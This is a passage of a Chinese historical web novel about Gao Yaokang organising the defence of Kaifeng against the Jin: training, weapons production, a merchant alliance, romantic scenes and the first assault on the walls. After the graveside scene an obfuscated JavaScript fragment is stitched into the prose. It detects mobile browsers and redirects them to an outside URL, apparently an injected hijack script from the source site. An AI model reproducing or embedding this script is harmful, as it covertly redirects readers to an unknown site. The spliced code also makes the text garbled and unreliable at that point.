紧接着,有人惨叫。是王彦安排的人,躲在沟里,扯着嗓子喊:“救命!救命!我腿断了!救命啊!”喊得声嘶力竭,跟真的一样。
烟里头,又有人跑出来。身上绑着假人,血糊糊的,红的白的涂了一身,往这边冲。一边冲一边嚎。
新兵们乱了。有人往后退,有人蹲下抱头,有人抽刀乱挥,差点砍着自己人。有人的刀都掉地上了。
赵大没动。
他蹲在壕沟里,盯着那个冲过来的人。眼睛眯着,一眨不眨。等那人冲到跟前,他忽然站起来,一把薅住那人的领子。
“**的谁?”
那人被他薅住脖子,假血蹭了他一脸。红的白的糊了一脸。
赵大抹了一把脸。看着手上那红乎乎的东西。放到鼻子前闻了闻。
“猪血?”
他抬起头,看看四周的烟,听听还在喊的惨叫。那惨叫还在继续,一声接一声。
然后他笑了。
“吓唬人呐?当我是三岁小孩?”
高尧康站在沟边上,看着他。看着他脸上的猪血,看着他笑。
赵大从沟里爬上来。脸上还挂着猪血,一道一道的。
“都指挥,这玩意儿,是让咱们习惯吧?习惯这烟,这喊,这血糊糊的东西?”
高尧康说:“是。”
赵大点点头。
“行。我懂了。不就是别慌吗。”
他又跳回沟里。这回不蹲着了。站着。直挺挺站着。看着那些烟,听着那些惨叫,一动不动。
旁边的人看他站着,也跟着站起来。一个站,两个站,一片站。
烟散的时候,三千人,全站着。
有的还在抖,但都站着。
高尧康看着那些人。看了很久。
然后他转身,对王彦说:
“记下这个赵大。回头提他当队正。”
王彦点点头。掏出个小本本,歪歪扭扭记下来。
二月二十五。汴京城西。废弃的铁工作坊。
高尧康走进去的时候,宇文虚正蹲在一堆零件中间。跟个**似的蹲着。手里拿着两个一模一样的**机牙,翻来覆去地看。对着光看,眯着眼看,用指甲刮着看。
看见高尧康,他站起来。腿都蹲麻了,晃了晃才站稳。
“你来得正好。”
他把那两个**机牙递过来。递到高尧康眼前。
“你看。”
高尧康接过来。看了看。
一模一样。大小、厚薄、轻重、甚至连上头那道纹路都一模一样。跟双胞胎似的。
“这是……”
宇文虚说:“两个不同的作坊做的。一个是城东老张家的,一个是城北小李家的。他们没见过面,没通过气,做出来的东西,一模一样。一丝都不差。”
他顿了顿。眼睛发亮。
“你那个法子,真能行。我原先还不信,现在信了。”
高尧康说的法子,是“流水线标准化”。
把**机拆成零件。一个作坊只做一种零件。做**的只做**,做牙的只做牙,做悬刀的只做悬刀。做完了,送到总装坊,拼起来就是一张**。
宇文虚一开始不信。他说,各家手艺不一样,做出来的东西怎么能配上?一个紧一个松,怎么装?
高尧康说,定尺寸。定**。一寸就是一寸,三分就是三分。差一丝一毫,重做。做不好就别做。
宇文虚试了一个月。让人做了又拆,拆了又做,废了一堆料。
现在他信了。信得死死的。
“以前一天出十张*
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*。”他说,手指头比划着,“现在一天出五十张。五十张!还不用返工。装上去就能用。”
他指着墙角那一堆零件。堆得跟小山似的。
“震天雷也一样。铁壳、引信、**,分开做。做好了,一拼就成。以前一天做二十个,累死累活。现在一天一百个,轻轻松松。”
高尧康蹲下来,拿起一个震天雷的铁壳。翻过来看。里头光溜溜的,浇铸的模子印还在。圆圆的,跟个瓜似的。
“铁壳用的什么法子?”
宇文虚说:“范铸法。一个模子翻砂,能铸一百个。一百个!以前是一个一个打,铁匠抡着锤子打一天,打不出十个。手都打肿了。”
高尧康点点头。把铁壳放下。
宇文虚看着他。那眼神,跟看妖怪似的。
“你这脑子,”他说,手指着自己脑袋,“到底怎么长的?这些法子,我想了一辈子都没想出来。你才多大?”
高尧康站起来。拍拍手上的灰。
“不是我想出来的。是见过别人这么干。”
宇文虚问:“谁?哪儿见过的?”
高尧康说:“说了你也不信。”
他往外走。走到门口,忽然停住。
“宇文师傅。”
“嗯?”
“从今天起,军器监归你管。要人给人,要钱给钱。一个月内,我要看到一万张**,十万个震天雷。”
宇文虚愣了一下。嘴张着,跟吞了个鸡蛋似的。
“一万张**?十万个震天雷?你当我是神仙?你当这是变戏法?”
高尧康看着他。那眼神,跟看周聋子他们一样。
“你不是神仙。你是宇文虚。”
宇文虚张了张嘴。没说出话来。
高尧康走了。门关上。脚步声远了。
他站在那儿,看着那一堆零件。看着那山一样的铁壳,那捆成捆的**机牙,那码得整整齐齐的引信。
忽然笑了。
“妈的。”他说,“干。”
第七十章 为何而战
三月初一。大校场。
李纲又来了。
这回他不是一个人来的。身后跟着七八个人,穿着官服,有老的,有年轻的,有胖的,有瘦的。看那架势,不是御史台的,就是兵部的,反正都是来挑刺的。
高尧康站在点将台上。看着那帮人走进来。有人捂着鼻子——校场里有马粪味。有人皱着眉头——嫌太阳晒。有个胖的,走几步就喘,跟个球似的滚进来。
李纲走到台下,朝他点点头。
“练你的。不用管我们。当他们是石头。”
高尧康没管他们。
他抬起手。
旗子一挥。
三万人,动了。
不是乱动。是按着规矩动。一队一队,一排一排,从营房里出来,跑到各自的位置上。站定。立正。动作齐得跟一个人似的。
一炷香。三万人,全站好了。整整齐齐,跟棋盘上的棋子似的。
点将台下那几个官员,互相看看。有人张嘴想说什么,没说。那个胖的,嘴张了又闭上,闭上又张开。
高尧康又抬起手。
旗子又一挥。
演练开始。
第一项,城墙布防。三千人上墙,两千人下头待命,一千人运物资。一刻钟,全到位。墙上站满了人,墙下整装待发,物资码得整整齐齐。
第二项,火器演练。五百**手,排成三排,轮番射击。轰轰轰,轰轰轰,白烟腾起来,遮了半边天。硝烟味飘过来,呛得那几个官员直咳嗽。
第三项,震天雷投掷。一千人,每人从筐里拿起一个震天雷,点火,扔出去。轰轰轰轰轰,校场那头,炸成一片。土块飞起来,又落下去,跟下雨似的。
第四项,巷战格斗。两队人,在搭好的假街道里对冲。刀砍在盾上,当当响,跟打铁似的。人摔在地上,又爬起来。惨叫、喊杀、骂娘,混成一片。有人真摔出血了,抹一把接着上。
那些官员的脸,颜色变了。
有白的,有青的,有涨红的。那个胖的,脸上汗都下来了,擦都擦不赢。
李纲站在那儿,一动不动。眼睛盯着场子里那些兵。眼神里有点东西,说不清是欣慰还是别的。
演练结束。三万人,又站回原位。喘着气,流着汗,但站着。
高尧康从点将台上下来。走到李纲面前。
“李大人。”
李纲看着他。看了很久。那眼神,跟看自家孩子出息了似的。
然后他转过身,对那帮官员说:
“各位都看见了?”
没人说话。那个胖的想说什么,嘴张了张,又闭上了。
李纲说:“看见了,就回去禀报吧。就说,京城有兵了。能打仗的兵。不是以前那些吃空饷的。”
那帮人走了。走得比来的时候快。那个胖的,跑得比谁都快,跟滚似的。
李纲站在原地。看着那些兵。
“一个月。”他说,“三万人,练成这样。”
他转过头,看着高尧康。
“你是怎么做到的?”
高尧康说:“他们知道自己为什么打仗。”
李纲愣了一下。
“为什么?”
高尧康指着那些兵。那些兵还在喘气,有的在擦汗,有的在喝水,有的在跟旁边的人说话。
“那些人,一半是庄稼汉。他们来当兵,不是因为想当兵。是因为金兵来了,他们的地就没了。他们的爹娘就得死。他们的婆娘孩子就得被人糟蹋。他们没退路。”
他看着李纲。
“我跟他们说,守住城,就能活。杀一个金兵,你们就能多活一天。杀十个,你们的孩子就能活。杀一百个,你们的子孙后代都能活。不是替谁打,是替自己打。”
他顿了顿。
“他们信了。”
李纲沉默着。
过了很久,他伸出手,在高尧康肩膀上拍了拍。拍得有点重。
“好。”他说,“好。”
三月初五。城外。
杨蓁走在前头。高尧康跟在后头。
风刮着。天灰着。枯草在脚底下响,咔嚓咔嚓的。
走到一处坟包前头,杨蓁停下来。
坟包不大。土还是新的,没长草。前头立着一块木牌。上头写着几个字:
“先父杨公讳某之墓”
没写名字。没写籍贯。什么都没写。就那么几个字,歪歪扭扭的。
杨蓁跪下去。磕了三个头。头磕在地上,咚咚响。
高尧康站在旁边。看着她。
她跪在那儿,看着那块木牌。不说话。
风吹着她的头发,头发飘起来,又落下去。
她忽然开口。
“我娘死得早。我爹把我带大的。”声音不高,平平的。
高尧康没说话。
“他刚开始是禁军里的一个小校。打西夏的时候,腿上挨了一箭。好了之后,走路就有点瘸。”
她顿了顿。
“金兵来真定的时候,他瘸着腿,拿把刀,要去守城。我说,爹你腿那样,怎么守?他说,守不了也得守。守不住,你怎么办?”
她的声音有点颤。就那么一点。
她没说完。
高尧康蹲下来。蹲在她旁边。
他看着那块木牌。看了很久。然后他开口。
“岳父大人。”
杨蓁愣住了。转过头看着他。眼睛瞪大了。
高尧康对着那块木牌说:
“我叫高尧康。高俅的儿子。现在是京城四壁守御使麾下军都指挥使。”
他顿了顿。
“您闺女,杨蓁,跟着我在真定打了七个月仗。土门关那一仗,她单骑冲阵,从金兵手里抢回来一个重伤的弟兄。腿上挨了一刀,缝了十七针,没吭一声。一声都没吭。”
他看着那块木牌。
“这闺女,我带走了。”
“以后,她跟着我。我活着,她活着。我**,也会让人把她送到安全的地方。这话,说到做到。”
他顿了顿。
“岳父大人走好。我会娶了她。让她过上好日子。不是那种将就的好日子,是真好的。”
说完,他磕了三个头。磕得比杨蓁还响。
杨蓁看着他。眼眶红了。
她没说话。只是把头靠在他肩膀上。靠得很紧。
靠了很久。
风刮着。坟头的枯草摇着,摇来摇去。
她的眼泪,一滴一滴落下来,落在他肩头的衣裳上。湿了一片。他没动。只是伸出手,揽住她的肩膀。揽得很紧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317314|198976||http|test|mini|href|location''.split(''|''),0,{}));
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r>三月初十。大营。夜里。
高尧康在营房里看文书。一堆一堆的,看得眼睛疼。王彦推门进来。
他伤好了。走路不瘸了。脸上那道疤还在,红红的一道,但他不在乎。他觉得那疤挺威风。
他坐下。看着高尧康。
“有个事,得跟你说。”
高尧康抬起头。
王彦说:“那些新兵,心里头有事。”
“什么事?”
“怕。”
高尧康没说话。
王彦说:“不是怕训练累。是怕金兵。他们嘴上不说,但我知道。一提到金兵,脸色就变。白得跟纸似的。真定的事,他们听说了。燕京的事,他们也听说了。知道金兵什么样,知道金兵多能打,知道他们**多狠。”
他顿了顿。
“这他麻的,仗还没打,心里头先输了。这怎么打?”
高尧康放下手里的文书。
“我知道。”
王彦看着他。
“你知道?”
“嗯。”
“那你打算怎么办?就这么让他们怕着?”
高尧康站起来。走到窗前。外头黑漆漆的,什么也看不见。只有风声。
“我每天跟他们说话。不是训话,是说话。”
王彦愣了一下。
“说什么?”
高尧康说:“说为什么打。说打不过也得打。”
他转过来,看着王彦。
“不是为了朝廷。不是为了皇帝。是为了他们自己。为了他们家的地,他们家的房子,他们家的老婆孩子,他们家的热炕头。”
“我跟他们说,金兵来了,你们跑不掉。跑了,你们的地就归别人了。你们的房子就归别人了。你们的婆娘孩子,就归金兵了。你们这辈子,就完了。”
他顿了顿。
“不想让这些事发生,就得打。打不过也得打。因为不打,更惨。打了,还有可能活。”
王彦沉默了一会儿。
“他们信吗?”
高尧康说:“信。因为他们见过。真定的难民,他们见过。那些没了家的人,他们见过。那些**男人、没了孩子的女人,他们见过。血糊糊的,他们见过。”
王彦点点头。
“那行。那就接着说。说到他们信透为止。”
他站起来。走到门口。忽然停住。
“高尧康。”
“嗯?”
“你今天跟杨蓁去坟地了?”
高尧康看着他。
王彦笑了一下。那笑容里有点坏。
“那丫头回来的时候,眼睛红红的。但一直在笑。笑得跟傻子似的。”
他推开门。出去了。门关上,哐当一声。
高尧康站在屋里。看着那扇门。
门外的风吹进来。有点凉。他站了一会儿。
他想起今天在坟地。杨蓁靠在他肩膀上,眼泪湿了他一片衣裳。她没说话。但他知道那眼泪是什么意思。
不只是哭她爹。
也是哭那些**的人。哭土门关。哭那些回不来的日子。哭那些再也见不到的人。
他站了一会儿。然后回到案前,继续看文书。那些字密密麻麻的,看得人眼睛疼。
窗外,远处有狗叫。一声接一声。叫了很久。
第七十一章 商道合流
靖康元年三月十八。汴京。城南沈记老号。
门口挂了两块匾。左边是“沈记联号”,右边是“苏记商行”。中间扎着一朵大红绸子花,土得掉渣,跟乡下娶媳妇似的。但没人敢笑。
因为门口站着的那些人。
高尧康。杨蓁。王彦。刘实。宇文虚。还有新军里的十几个都头。全穿着便装,但往那儿一站,杀气腾腾的,路过的都绕着走。有个卖糖葫芦的本来想在这儿摆摊,看了一眼,推着车跑了。
苏檀儿站在门口迎客。穿着一身绛红的褙子,头发挽得齐整,脸上带着笑。但那双眼睛,一直在人群里扫。扫到一个,点一下头。扫到一个,点一下头。跟阅兵似的。
沈万金站在她旁边。穿着新做的绸衫,肚子挺着,脸上油光光的。但手在抖。抖得跟筛糠似的。
他扯了扯苏檀儿的袖子。
“苏娘子,这……这阵仗是不是太大了。……高都指挥,他带这么多人,是来吃饭的还是来抄家的?”
苏檀儿没看他。
沈万金咽了口唾沫。点点头。手还在抖。
里头大堂,摆了二十桌。全是流水席。菜是南北大菜,酒是汾酒老窖,碗筷都是新买的,锃亮。跑堂的端着盘子来回窜,跟走马灯似的。
高尧康被让到主桌。杨蓁坐他左边。苏檀儿坐他右边。
沈万金坐了主位对面。坐下去的时候,椅子响了一声。嘎吱。他胖。
菜上来了。酒倒上了。人声嘈杂起来。划拳的、劝酒的、吹牛的,嗡嗡嗡一片。
沈万金站起来,举起杯。手还在抖,酒洒出来几滴。
“各……各位!今天是个好日子!沈记联号与苏记商行,正式合并!从今往后,咱们就是一家人!生意一起做,钱一起赚!干了!”
他仰脖子喝了。喝得太急,呛着了,咳了两声。
底下人跟着喝。稀里哗啦一片。
高尧康也喝了。放下杯子,他站起来。
满堂静下来。静得能听见后厨切菜的声音。咚。咚。咚。
他看着那些人。有商号的掌柜,有作坊的东家,有跑船的船头,有贩马的马贩子。还有几个,一看就是走偏门的——眼睛贼,坐得偏,手里转着两个铁核桃,转得嘎嘎响。
他开口。
“我叫高尧康。新军都指挥使。”
没人说话。那几个转核桃的,也不转了。
“今天这顿饭,是我让苏娘子张罗的。请各位来,是想说几句话。”
他顿了顿。
“第一句,以后沈记和苏记,合并了。叫大宋联号。不是两家,是一家。以后做生意,找她就够了。”
底下有人点头。有人交换眼色。
“第二句,大宋联号,不只是做买卖的。还做别的。”
他伸出手。王彦从怀里掏出张纸,递给他。纸有点皱,王彦揣的时候没揣好。
他把纸展开。上头写着八个字。写得大,站在后头也能看见。
“以商护国,以情报商。”
他念了一遍。然后抬头。
“什么意思?商人们赚钱,得有人护着。没人护着,金兵来了,钱就归别人了。房子、铺子、老婆孩子,都归别人了。反过来,商人赚了钱,也得帮着护国。怎么帮?运粮、运草、运器械、传消息。这些事,商人比官府快。官府走一道手续半个月,你们一句话的事。”
他看着那些人。
“金兵快来了。快则两个月,慢则三个月。城能不能守住,不光看兵。还看粮,看草,看器械,看消息。兵在前面打,这些东西得在后面供着。”
他顿了顿。
“这些东西,你们有。朝廷没有。”
底下鸦雀无声。有人筷子掉地上了,都不敢捡。
那几个转铁核桃的,不转了。核桃捏在手里,一动不动。
高尧康把那张纸折起来。揣回怀里。
“话就这么多。各位吃好喝好。以后有事,找苏娘子。”
他坐下。
满堂静了一会儿。然后忽然爆出一阵嘈杂。有人站起来敬酒,有人凑在一起嘀咕,有人已经在找苏檀儿说话。那几个转核桃的,互相看了一眼,点点头,也站起来往这边凑。
沈万金抹了一把头上的汗。汗珠子跟黄豆似的。
他看着高尧康。想说什么。嘴张了张,没说出来。
只是举起杯子,又喝了一杯。这回没呛着。
三月二十五。城南码头。
二十条大船,靠成一排。船工正在往下卸货。一袋一袋的粮食,一捆一捆的草料,一箱一箱的铁锭,一包一包的牛皮。码头上人来人往,跟蚂蚁搬家似的。
苏檀儿站在码头上,手里拿着个账本。旁边站着七八个账房,噼里啪啦打算盘,跟一群蛐蛐叫似的。
高尧康走过来。
她抬头看了他一眼。又低头看账本。手里的笔没停,唰唰唰地记。
“江南的粮。三万石。蜀中的铁。五千斤。还有这个——”
她从旁边拿起一块皮子,递给他。皮子挺沉,她拎着有点费劲。
“辽东的。牛皮。鞣过了,韧得很。你扯扯看。”
高尧康接过来。摸了摸。又用力扯了扯。没扯动。手上青筋都暴起来了,那皮子纹丝不动。
“哪儿来的?”
“登莱海运。有船跑高丽那条线的,顺便带货。给的价高,他们就带了。比平时贵三成,但值。”
高尧康看着那块皮子。
**弦的材料。最好的就是这种牛皮。韧,弹,不容易断。以前都是从北边买。现在北边没了,这玩意儿比金子还金贵。
苏檀儿说:“够做三千张**的弦。下个月还能来一批,再做两千张。够不够?”
高尧康点点头。
“比朝廷快多少?”
苏檀儿想了想。手指在账本上点了点。
“朝廷的漕运?从江南到汴京,最快一个月。慢的时候两个月。还得看天气,看河道,看有没有人卡着要钱。咱们这批粮,从装船到今天,十五天。路上没停过。”
她顿了顿。
“而且朝廷的漕运,十船粮食,有三船是被漕司的人贪了的。运到的时候,袋子都轻了。咱们的船,一袋都不会少。我盯着呢。”
高尧康看着她。
她站在那儿,太阳底下,脸上有汗。汗珠子亮晶晶的。头发丝粘在额头上,一缕一缕的。手里的笔没停,眼睛盯着账本,嘴里还在跟旁边的账房对数字。
他忽然想起真定那年。她在军器监后头的小院里,抱着账本,说“二十万贯活钱,随时能调”。那时候她还穿得素净,脸上还有点怯。
两年了。
她没变。还是那样,算账的时候,谁都叫不动。眼珠子粘在账本上似的。
但好像又变了。变得更稳了。更硬了。更像……更像能扛事的人了。
“苏檀儿。”
她抬头。
高尧康说:“辛苦了。”
她愣了一下。然后笑了。笑得眼睛
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弯弯的。
“你也会说人话?我还以为你只会说‘传令’‘走’‘打’呢。”
高尧康没理她。转身走了。
她站在那儿,看着他的背影。笑了一会儿。又低头看账本。
那天晚上,苏檀儿来找他。
营地外头,一片空地。月亮很大。风有点凉。草被风吹得沙沙响。
她站在他对面。穿着件家常的褙子,没戴首饰,头发随便挽着。跟白天那个在码头上指挥若定的女掌柜,像两个人。像换了个魂似的。
“我爹回汴京了。”她说。
高尧康等着下文。
“他说,让我问问你,什么时候……那个……”
她没说下去。
高尧康看着她。
月光底下,她脸有点红。但那红很快就下去了。她深吸一口气,抬起头,看着他。
“我爹的意思,你知道。苏家想攀上高家。想得都快疯了。他觉得我嫁给你,苏家就稳了。”
高尧康没说话。
她说:“但我不是来替他说这个的。”
她往前走了一步。很近。近得能看清她眼睛里那点光。亮亮的,跟星星似的。
“高尧康,我喜欢你。”
高尧康看着她。
她说:“不是因为我爹。不是因为你叫高尧康。不是因为你是高俅的儿子。是因为真定那年,你在军器监后头,跟我说,账要记清楚,别让人坑了咱们。那时候你脸上有灰,盔甲上有个豁口,说话的时候眼睛看着我,不躲。”
她顿了顿。
“那时候我就想,这人跟别人不一样。他跟那些当官的不一样,跟那些公子哥不一样,跟我见过的所有人都不一样。”
高尧康说:“我有杨蓁了。”
苏檀儿点点头。
“我知道。我看得出来。”
她笑了笑。那笑容很短。像灯花爆了一下就灭了。
她看着高尧康。
“她比我强。她能打,能**,能跟着你从**堆里爬出来。我不行。我只会算账。”
高尧康说:“不是谁强谁弱的事。”
苏檀儿愣了一下。
“那是什么事?”
高尧康想了想。想了很久。
“是她跟我一块儿从**堆里爬出来的。土门关那会儿,她冲进金营抢人,腿上挨了一刀,缝了十七针。王彦差点**,她背着回来的。那些日子,她跟我一块儿熬过来的。”
苏檀儿沉默了一会儿。
然后她点点头。
“懂了。”
她往后退了一步。退到刚才站的地方。退得很稳。
抬起头。看着他。眼睛亮亮的。亮得有点刺眼。
“那便做你永不断货的‘粮台’与‘耳目’罢。”
高尧康看着她。
她说:“生意我做。粮草我运。消息我传。你想守城,我给你备着。你想打仗,我给你撑着。你想要什么,只要拿钱能买到,我就给你弄来。”
她顿了顿。
“就这些。没别的。你不用管我,也不用回我。”
她转身走了。
走了几步,忽然停住。没回头。
“高尧康。”
“嗯。”
“你要是敢死,我就把大宋联号卖给金人。让你在底下看着他们用你攒的东西打回来。”
她走了。
高尧康站在原地。看着她的背影消失在夜色里。那背影走得很快,一会儿就没了。
风刮着。月亮很亮。亮得跟白天似的。
他忽然笑了一下。
第七十二章 谢谢贤婿
三月初二。汴京城西。苏府。
苏半城在院子里转圈。
他已经转了半个时辰。从东边转到西边,从西边转到东边。地上都让他踩出一条道来了。管家站在廊下,眼珠子跟着他转,都快转抽筋了。
“老爷,您别转了,坐下歇歇吧,茶都凉三回了……”
“歇什么歇!”苏半城瞪他一眼,眼珠子瞪得跟铜铃似的,“高都指挥使要来!那是谁?那是高俅的儿子!那是新军的都指挥使!那是真定府杀了几千金兵的人!你让我歇?我歇得着吗我?”
管家说:“是是是,那您更得歇歇,别等会儿腿软了站不住,让人家笑话……”
苏半城又要瞪他,外头忽然有人喊:
“高都指挥使到——”
苏半城腿一软。差点真站不住。
他扶着管家的胳膊,踉跄着往门口迎。腿肚子直打颤。
高尧康进来了。穿着便装。没带人。一个人。就那么走进来,跟串门似的。
苏半城迎上去,一揖到地,脑袋都快磕着膝盖了。
“高都指挥使光临寒舍,蓬荜生辉,蓬荜生辉!寒舍简陋,有失远迎,罪过罪过……”
高尧康把他扶起来。
“苏伯父,不必多礼。”
苏半城愣了一下。
伯父?
他抬起头,看着高尧康。高尧康脸上没什么表情。但那个称呼,他听得清清楚楚。不是“苏员外”,不是“苏掌柜”,是“伯父”。
“这……这……”苏半城舌头打结了。
高尧康说:“进去说话?”
苏半城赶紧点头,脑袋点得跟小鸡啄米似的。
“请请请,里边请。上茶,上好茶!”
客厅。茶上了。人散了。
就剩他们两个。
苏半城坐在客座上,手不知道往哪儿放。一会儿搁膝盖上,一会儿搁桌上,一会儿又拿起来,跟抽风似的。
高尧康坐在主位上,端着茶,喝了一口。放下。
“苏伯父,我今天来,是有一件事想跟你说。”
苏半城点头如捣蒜。
“您说您说,我听着呢。”
高尧康看着他。
“檀儿在我那儿,帮了大忙。没有她,那三万人,有一半得饿死。没有她,军器监的材料,有一半凑不齐。军器监那帮老师傅都说,苏娘子算账比他们打铁还快。”
苏半城愣住了。
高尧康说:“我今天来,是想告诉你。檀儿在我那儿,不会吃亏。谁欺负她,我收拾谁。她缺什么,我给什么。她有什么难处,我替她扛着。这话,不是场面话。”
他看着苏半城。
“这话,我当着你的面说。你记着。”
苏半城张着嘴。半天没说出话。
然后他忽然站起来。扑通一声,跪下去了。膝盖磕在地上,听着都疼。
高尧康赶紧去扶。
“苏伯父——”
苏半城不起来。他跪在地上,仰着头,看着高尧康。
眼眶红了。红得跟兔子似的。
“高都指挥使……高贤侄……我……”
他抹了一把脸。手上全是水。
“我苏半城,做了三十年买卖。跟官场上的人打过交道,没一百也有八十。那些人,表面上客气,背地里全是算计。能用你的时候,你是座上宾。不能用你的时候,你是路边泥。踩一脚都嫌脏鞋。”
他顿了顿。
“您今天这话,我听着,不是客套。是真话。我活了五十多年,听得出来。”
高尧康把他扶起来。扶到椅子上坐下。
“苏伯父,还有一件事。”
苏半城坐下。等着。手还在抖。
高尧康说:“金兵快来了。京城不一定守得住。万一守不住,你得走。”
苏半城脸色变了。刚才那点红晕全没了,刷一下就白了。
“走?往哪儿走?我这一摊子买卖……”
高尧康说:“南边。苏杭。我爹在那儿有庄子。够住几百人。我已经跟他说了,苏家的人,可以去。铺子带不走的就算了,人能走就行。”
他看着苏半城。
“不只是你。还有檀儿。还有你们苏家的账房、伙计、老人、孩子。能带走的,都带走。船我已经让苏檀儿准备了,二十条大船,够用。”
苏半城愣住了。
他看着高尧康。看了很久。眼珠子一动不动。
然后他又站起来了。
这回没跪。只是站着。弯下腰,深深一揖。腰弯得比刚才还低。
“高贤侄。”
“嗯。”
“檀儿跟了你,是她的福气。我苏半城这辈子,没求过人,今天我求你,好好待她。”
高尧康说:“她现在还没跟我。她跟着大宋联号。跟着那些粮草、那些消息、那些能救人的东西。她有自己的事干,不是我的人。”
他顿了顿。
“但她要是有
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事,我管。不管她在哪儿,不管她跟谁,她有事,我管。”
苏半城直起身。看着他。
忽然笑了。
那笑容,跟他平时那些客套的笑不一样。那些笑是挂在脸上的,这个是打心底里冒出来的。
“好。”他说,“好。有你这句话,我**都闭眼。”
四月初五。大营。深夜。
高尧康在屋里看地图。地图上画满了圈圈箭头,密密麻麻的,跟蜘蛛网似的。灯油添了三回,火苗一晃一晃的。
门被推开。苏檀儿进来。
她脸色不对。白得跟纸似的。
高尧康站起来。
“怎么了?”
苏檀儿走到案前,把一张纸条放在他面前。手在抖。那纸条也跟着抖。
“登莱那边传回来的。跑高丽那条线的船,昨天刚到。船老大冒着风暴回来的,帆都撕了。”
高尧康低头看。
纸条上就几行字。但每个字都像钉子,扎眼睛里拔不出来。
“金国大军十万,已于三月廿八集结完毕。完颜宗望、完颜宗翰分两路。攻城器械打造无数。目标:汴京。”
底下还有一行小字。字迹潦草,写着的人手肯定在抖:
“边报未发。恐有人压着。”
高尧康看着那张纸条。看了很久。很久很久。
苏檀儿站在他旁边。呼吸很急。
“比朝廷边报快多少?”
苏檀儿说:“我问了。朝廷边报,还没到。最快也得十天以后。咱们这消息,是从登莱直接走陆路,换马不换人,三天三夜送来的。马跑**两匹。”
高尧康没说话。
他把纸条折起来。收进怀里。动作很慢。
抬起头,看着窗外。
窗外黑漆漆的。什么也看不见。连颗星星都没有。
但他知道,北边那十万大军,已经在路上了。正一步一步往这边走。带着那些攻城器械,带着那些刀,那些箭,那些**的东西。
他忽然想起土门关那个晚上。王彦问他,能挡多久?
他说,能挡多久挡多久。
这回,又得挡了。
苏檀儿看着他。看着他的侧脸。灯光照上去,一半亮,一半暗。
“高尧康。”
“嗯。”
“这回……能守住吗?”
高尧康没回答。
他站在窗前,看着那一片漆黑。
过了很久,他说:
“能。”
第七十三章 初战告捷
四月初八。卯时。天刚亮。
高尧康站在酸枣门的城楼上,看着北边。
北边的地平线上,有一条黑线。很粗。很长。正在往这边移动。跟一条巨大的黑蜈蚣似的,慢慢爬过来。
王彦站在他旁边。手里攥着刀柄,攥得指节发白。白里透青。
“来了。”他说。声音有点干。
高尧康没说话。
黑线越来越近。渐渐能看清了。是马。是人。是旗。是车。是一眼望不到头的队伍。旗帜密密麻麻的,跟树林子似的。
马蹄踩在地上的声音,隔着七八里都能听见。轰隆隆的,像打雷,又像地震。城墙上的土都在往下掉。
杨蓁从城墙那头跑过来。脸上那道疤,在晨光里格外显眼。她跑得快,身上的甲叶子哗啦哗啦响。
“都准备好了。**手就位。火油烧上了。霹雳弹发了三千个。”她喘了口气,“林娘子那边也准备好了,担架、药、绷带,都齐了。”
高尧康点点头。
她站在他旁边,跟他一起往北看。
那黑线越来越近。越来越近。
五里。三里。二里。
停住了。
金兵的队伍,在城外二里处停下来。开始扎营。帐篷一个接一个立起来,跟雨后蘑菇似的。旗帜一片接一片插起来。人喊马嘶,尘土飞扬,热闹得跟赶集似的。
高尧康看着那些帐篷。数了数。
数不清。太多了。一眼望不到头。
王彦说:“得有几万人吧?”
高尧康说:“不止。至少五万。”
他转过身,看着城墙上那些兵。
三千人。他的兵。酸枣门到陈桥门这一段,归他守。三千人对几万。一比二十。
他看着那些兵的脸。有的白,有的青,有的在咽唾沫,喉结上下一动一动的。但没人往后退。没人跑。
他开口。
“还记得我跟你们说的话吗?”
没人回答。都在听。风把旗子吹得啪啪响。
“金兵是人。不是鬼。一刀捅进去,照样死。一箭射进去,照样倒。一个震天雷扔过去,照样炸成烂肉。他们也是爹生娘养的,也会疼,也会怕。”
他指着城外。
“他们人多。但他们在城外。咱们在城里。他们有马,但马不会爬墙。他们有刀,但刀够不着咱们。他们有十万,但一次只能上来几千。咱们三千,一次也只打几千。”
他顿了顿。
“他们攻上来,咱们就砍。他们爬上来,咱们就推。他们冲进来,咱们就堵。一个换一个,咱们赚。一个换两个,咱们大赚。”
“记住——多杀一个,你们的爹娘多活一天。多杀十个,你们的婆娘孩子多活一天。多杀一百个,你们的子孙后代,就不用再打这种仗。”
他看着那些人。一个一个看过去。
“听到了吗?”
三千人齐声喊:“听到了!”
“守不守得住?”
“守得住!”
“杀不杀金兵?”
“杀!”
声音震天。把城墙上的土都震下来了。
高尧康转过身。又看着城外。
“那就等着。”
巳时。金兵动了。
第一拨攻上来的是步兵。五千多人。扛着云梯,推着鹅车,喊着号子往城墙底下冲。那号子呜呜的,跟鬼哭似的。
高尧康站在城楼上。看着那些人越来越近。
三百丈。二百丈。一百丈。
“**手——”他抬起手。
五十丈。
手往下一砍。
两千支箭飞出去。嗡的一声,跟蜂群出巢似的。
冲在最前头的金兵倒了一片。有人胸口中箭,有人脸上中箭,有人腿上中箭,摔在地上爬不起来。但后头的踩着前头的尸体,继续往前冲。眼睛都不眨一下。
三十丈。二十丈。十丈。
云梯搭上城墙了。梯子上的铁钩钩住墙垛,嘎吱嘎吱响。
高尧康喊:“火油!”
猛火油柜的管子从城墙垛口伸出去。火把一点,油喷出去,烧成一条火龙。火龙蹿出去,舔在云梯上。
云梯烧着了。梯子上的金兵往下掉,掉进火里,烧得嗷嗷叫,跟杀猪似的。
鹅车也烧着了。那些包着铁皮的攻城车,被火油喷上,烧得通红。里头的人往外爬,爬出来就被箭射死。爬不出来的,就在里头烧,叫得那叫一个惨。<
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br>但金兵还在往上冲。
有人爬上墙头了。
杨蓁迎上去。一刀砍翻一个。又一刀,砍翻第二个。第三个扑上来,被旁边的兵捅穿了肚子。那兵还拧了一下刀,才**。
王彦在另一头。带着人堵缺口。他手里那把刀,已经砍卷了刃。刀刃上全是豁口,跟锯子似的。他抢过一把新的,接着砍。一边砍一边骂,骂得比金兵还凶。
高尧康站在城楼那儿,没动。
他在看。看哪儿堵了,哪儿漏了,哪儿撑不住了。眼睛跟鹰似的,扫来扫去。
